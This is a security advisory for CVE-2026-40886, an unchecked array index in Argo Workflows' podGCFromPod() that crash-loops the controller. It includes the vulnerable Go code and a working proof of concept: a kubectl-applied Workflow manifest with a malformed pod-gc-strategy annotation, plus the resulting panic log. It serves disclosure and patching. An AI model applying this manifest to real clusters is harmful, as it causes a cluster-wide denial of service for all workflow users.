CVE-2026-40886: Argo Workflows: Unchecked annotation parsing in pod informer crashes Argo Workflows Controller
Summary An unchecked array index in the pod informer's podGCFromPod() function causes a controller-wide panic when a workflow pod carries a malformed workflows.argoproj.io/pod-gc-strategy annotation. Because the panic occurs inside an informer goroutine (outside the controller's recover() scope), it crashes the entire controller process.
Published Apr 23, 2026
Affected packages
github.com/argoproj/argo-workflows/v4
- Ecosystem
- Go
- Affected
- >= 4.0.0, < 4.0.5
- Fixed in
- 4.0.5
- Check
go list -m github.com/argoproj/argo-workflows/v4
github.com/argoproj/argo-workflows/v3
- Ecosystem
- Go
- Affected
- >= 3.7.0, < 3.7.14
- Fixed in
- 3.7.14
- Check
go list -m github.com/argoproj/argo-workflows/v3
github.com/argoproj/argo-workflows/v3
- Ecosystem
- Go
- Affected
- >= 3.6.5, <= 3.6.19
- Fixed in
- No patched version yet
- Check
go list -m github.com/argoproj/argo-workflows/v3
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
An unchecked array index in the pod informer's podGCFromPod() function causes a controller-wide panic when a workflow pod carries a malformed workflows.argoproj.io/pod-gc-strategy annotation. Because the panic occurs inside an informer goroutine (outside the controller's recover() scope), it crashes the entire controller process. The poisoned pod persists across restarts, causing a crash loop that halts all workflow processing until the pod is manually deleted.
Details
podGCFromPod() splits the annotation value on "/" and unconditionally accesses parts[1]:
func podGCFromPod(pod *apiv1.Pod) wfv1.PodGC {
if val, ok := pod.Annotations[common.AnnotationKeyPodGCStrategy]; ok {
parts := strings.Split(val, "/")
return wfv1.PodGC{Strategy: wfv1.PodGCStrategy(parts[0]), DeleteDelayDuration: parts[1]}
}
return wfv1.PodGC{Strategy: wfv1.PodGCOnPodNone}
}If the annotation value contains no "/", parts has length 1 and parts[1] panics with index out of range.
The code was introduced in #14129 and affects versions:
- 3.6.x: v3.6.5 through v3.6.19 (backport in #14263)
- 3.7.x: v3.7.0-rc1 through v3.7.12
- 4.x: v4.0.0-rc1 through v4.0.3
- Not affected: v3.6.4 and earlier
PoC
Apply this workflow to a cluster running the Argo Workflows controller:
kubectl apply -n argo -f - <<'EOF'
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
name: crash-podgc
spec:
entrypoint: main
serviceAccountName: default
podGC:
strategy: OnPodCompletion
podMetadata:
annotations:
workflows.argoproj.io/pod-gc-strategy: "NoSlash"
templates:
- name: main
container:
image: alpine:3.18
command: [echo, "hello"]
EOFWithin seconds the controller crashes. The controller pod will show CrashLoopBackOff with increasing restart count. Controller logs show:
panic: runtime error: index out of range [1] with length 1
goroutine 291 [running]:
github.com/argoproj/argo-workflows/v4/workflow/controller/pod.podGCFromPod(...)
/home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:176
github.com/argoproj/argo-workflows/v4/workflow/controller/pod.(*Controller).commonPodEvent(...)
/home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:197
github.com/argoproj/argo-workflows/v4/workflow/controller/pod.(*Controller).addPodEvent(...)
/home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:246Recovery requires deleting the poisoned workflow:
kubectl delete workflow -n argo crash-podgcImpact
Any user who can submit workflows can crash the Argo Workflows controller and keep it down indefinitely. This is a denial-of-service against all workflows in the cluster. No workflows can make progress while the controller is crash-looping. The attacker needs only create permission on Workflow resources, which is the baseline permission for any Argo Workflows user.
Credited to thevilledev.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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